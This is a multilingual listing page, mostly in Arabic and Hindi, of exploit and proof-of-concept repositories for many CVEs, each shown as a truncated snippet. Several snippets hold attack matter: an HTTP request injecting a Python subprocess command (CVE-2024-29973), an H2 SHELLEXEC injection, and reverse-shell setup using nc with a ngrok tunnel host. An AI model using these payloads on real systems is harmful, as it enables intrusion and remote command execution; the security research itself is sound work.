CVE-2025-65817

CVE-2025-65817 الحقول| القيمة ---|--- العنوان| تقرير الثغرة: كاميرا LSC Smart Connect التاريخ| 2024-02-15 الوصف| إساءة استخدام خطاف تحديث بطاقة SD لتشغيل شيلات عن بُعد على كاميرات LSC Smart Connect. الوسوم| iot, vulnerability, cve البرامج الثابتة| 1.14.13 تقرير الثغرة في كاميرا LSC Smart Connect...

Drupalgeddon2

CVE-2018-7600 | Drupal 7.58 / 8.3.9 / 8.4.6 / 8.5.1 - 'Drupalgeddon2' RCE SA-CORE-2018-002 مستوحى من https://github.com/dreadlocked/Drupalgeddon2 يدعم: Drupal 8.3.9 / 8.4.6 / 8.5.1 رابط user/register، مهاجمة account/mail ووسيط postrender، باستخدام دالة passthru في PHP قيد الانتظار لم تتم برمجته ب...

Article-RegreSSHion-CVE-2024-6387

RegreSSHion CVE-2024-6387: OpenSSH में गंभीर रिमोट कोड निष्पादन भेद्यता एक ऐसे युग में जहाँ डिजिटल सुरक्षा महत्वपूर्ण है, OpenSSH में एक नई भेद्यता, जिसे CVE-2024-6387 के रूप में पहचाना गया है, ने दुनिया भर के सिस्टम प्रशासकों और सुरक्षा पेशेवरों का ध्यान आकर्षित किया है। 'regreSSHion' नामक यह...

CVE-2019-12384

CVE-2019-12384 Jackson RCE And SSRF 0x01 python -m SimpleHTTPServer python -m SimpleHTTPServer Serving HTTP on 0.0.0.0 port 8000 ... 127.0.0.1 - - 24/Jul/2019 03:06:32 "GET /inject.sql HTTP/1.1" 200 - inject.sql CREATE ALIAS SHELLEXEC AS $$ String shellexecString cmd throws java.io.IOException...

CVE-2020-7931

CVE-2020-7931: Artifactory Pro में SSTI शोषण CVE-2020-7931 कुछ हद तक Artifactory में एक जानबूझकर गलत कॉन्फ़िगरेशन भेद्यता है जो हमलावरों को FreeMarker टेम्पलेट से सर्वर-साइड टेम्पलेट इंजेक्शन करने देती है। यह भेद्यता Atredis के Ryan Hanson द्वारा खोजी गई थी और 2019 के अंत में सभी प्रभावित संस्करण...

msf-module-CVE-2019-0708

CVE-2019-0708 Bluekeep CVE-2019-0708 BlueKeep के लिए Metasploit मॉड्यूल https://github.com/rapid7/metasploit-framework/tree/5a0119b04309c8e61b44763ac08811cd3ecbbf8d/modules/exploits/windows/rdp से लिया गया और ठीक किया गया फ़ाइल कॉपी करने के निर्देश 1...

CVE-2024-21413

CVE-2024-21413 | إثبات مفهوم ثغرة تنفيذ التعليمات البرمجية عن بُعد في Microsoft Outlook 🚀 الاستخدام تأكد من أن لديك الأذونات والتفويض المناسبين من مالك النظام الهدف قبل استخدام هذا السكربت. المتطلبات الأساسية Python 3.x impacket-smbserver مثال على الاستخدام sudo python3 CVE-2024-21413.py 🛠️ الميزا...

CVE-2024-25600_Nuclei-Template

CVE-2024-25600Nuclei-Template قالب Nuclei ومعلومات حول إثبات المفهوم POC لـ CVE-2024-25600 الوصف 📝 ثمة ثغرة أمنية في قالب Bricks لووردبريس تسمح بتنفيذ الأوامر عن بُعد RCE في جميع الإصدارات حتى الإصدار 1.9.6. وهذا يجعل من الممكن للمهاجمين غير الموثّقين تنفيذ أكواد ضارة على الخادم. هذا القالب 🛠️ مصم...

apache-vulnerable

Apache संस्करणों के लिए स्कैन करें "ज़ीरो-डे" Apache Version 2.4.49 and 2.4.50 CVE-2021-41773 and CVE-2021-42013 उपयोग कैसे करें : आपको nuclei की आवश्यकता होगी ! https://github.com/projectdiscovery/nuclei स्थानीय nuclei इंस्टॉल की जाँच करें और टेम्पलेट सत्यापित करें nuclei -t...

CVE-2024-29973

CVE-2024-29973 GET /cmd,/simZysh/registermain/setCookie?c0=storageextcgi+CGIGetExtStoInfo+None+and+False+or+import"subprocess".checkoutput"id",+shell=True%23 HTTP/1.1 Host: xxxx User-Agent: Mozilla/5.0 X11; Linux x8664; rv:109.0 Gecko/20100101 Firefox/115.0 Accept: / Accept-Language: en-US,en;q=0...

CVE-2023-22527-confluence

CVE-2023-22527-confluence Confluence CVE-2023-22527 إثبات اختراق PoC من العالم الحقيقي الاستخدام تحميل bun https://github.com/oven-sh/bun/releases تشغيل ngrok ngrok tcp 4444 الاستماع على localhost 4444 nc -nvlp 4444 تشغيل الاستغلال bun exploit-CVE-2023-22527.js --lhost 0.tcp.ap.ngrok.io --lport...

CVE-2024-28397-RCE

سكربت CVE-2024-28397 لتنفيذ الأوامر عن بعد RCE الحمولة الافتراضية لـ reverse shell مع إمكانية تمرير أمر اختياري الاستغلال يعمل مع js2py الإصدار v0.74 فأقل المتطلبات بايثون 3.x مكتبة requests pip install requests مستمع Netcat لـ reverse shell مثال الاستخدام الـ Reverse shell: python exploit.py...

CVE-2025-31324_PoC_SAP

CVE-2025-31324PoC إثبات المفهوم لـ CVE-2025-31324: رفع غير مصادق عليه في SAP NetWeaver Visual Composer Metadata Uploader ينفّذ هذا السكربت: 1. رفع ملف إلى النقطة المعرّضة عبر Upload host/port 2. تشغيل اختياري عبر HTTP GET عبر Trigger host/port 3. تحقق أساسي من الاستجابة/تسجيل مثال على الاستخدام:...

CVE-2025-64155

CVE-2025-64155: Fortinet FortiSIEM में आर्गुमेंट इंजेक्शन से रिमोट कोड निष्पादन Fortinet FortiSIEM के लिए प्रूफ ऑफ कॉन्सेप्ट एक्सप्लॉइट जो एक आर्गुमेंट इंजेक्शन का दुरुपयोग करके रूट के रूप में कोड निष्पादन प्राप्त करने के लिए फ़ाइल लिखता है ब्लॉग पोस्ट गहन विश्लेषण यहां: Horizon3.ai -...

cve-2017-8760

مجموعة أدوات استغلال الثغرة CVE-2017-8759 - الإصدار 1.0 مجموعة أدوات استغلال الثغرة CVE-2017-8759 - الإصدار 1.0 هي أداة بايثون مفيدة تزوّد مختبرِي الاختراق وباحثي الأمن بطريقة سريعة وفعالة لاختبار ثغرة تنفيذ الأوامر عن بُعد في إطار عمل مايكروسوفت .NET. يمكنها إنشاء ملف RTF ضار وتوصيل حمولة...

core

Secluso Raspberry Pi के लिए निजी DIY होम सुरक्षा, एन्क्रिप्टेड रिमोट एक्सेस और 5 मिनट का सॉफ्टवेयर सेटअप। Secluso Deploy डाउनलोड करें • अपना खुद का गाइड बनाएं • सुरक्षा मॉडल • वेबसाइट Secluso, Raspberry Pi के लिए एक निजी होम सुरक्षा कैमरा सिस्टम है। अपने फोन से लाइव वीडियो देखें, अलर्ट प्राप्त कर...

CVE-2017-3881-exploit-cisco-

सिस्को क्लस्टर मैनेजमेंट प्रोटोकॉल CMP प्रोसेसिंग कोड में एक कमजोरी सिस्को IOS और सिस्को IOS XE सॉफ़्टवेयर में एक अप्रमाणित, दूरस्थ हमलावर को प्रभावित डिवाइस को रीलोड करने या उच्च विशेषाधिकारों के साथ दूरस्थ रूप से कोड निष्पादित करने की अनुमति दे सकती है। क्लस्टर मैनेजमेंट प्रोटोकॉल क्लस्टर सदस्य...

CVE-2021-38163

CVE-2021-38163 CVE-2021-38163 - ثغرة لـ SAP Netveawer إصدارات SAP NetWeaver Visual Composer 7.0 RT - 7.30، 7.31، 7.40، 7.50، بدون تقييد، يمكن لمهاجم مصادق كمستخدم غير إداري رفع ملف ضار عبر الشبكة وتشغيل معالجته، وهو قادر على تشغيل أوامر نظام التشغيل بامتيازات عملية خادم Java. يمكن استخدام هذه...

CVE-2020-11881

CVE-2020-11881 MikroTik SMB Remote Denial of Service DoS Ce rapport décrit la CVE-2020-11881, un déni de service DoS distant non authentifié pour le service SMB de MikroTik fonctionnant sous RouterOs. La vulnérabilité permet à un attaquant de faire planter le service SMB en cours d'exécution et a...

Tor-0day-JavaScript-Exploit

CVE-2024-9680 - TOR ब्राउज़र 0day एक्सप्लॉइट एनिमेशन टाइमलाइन में UAF Use-After-Free - रिमोट कोड निष्पादन भेद्यता जंगली में सक्रिय रूप से शोषित, टोर ब्राउज़र उपयोगकर्ताओं को लक्षित करते हुए विश्लेषण देखें • आधिकारिक CVE अवलोकन इस रिपॉज़िटरी में CVE-2024-9680 का एक व्यापक विश्लेषण और शैक्षिक...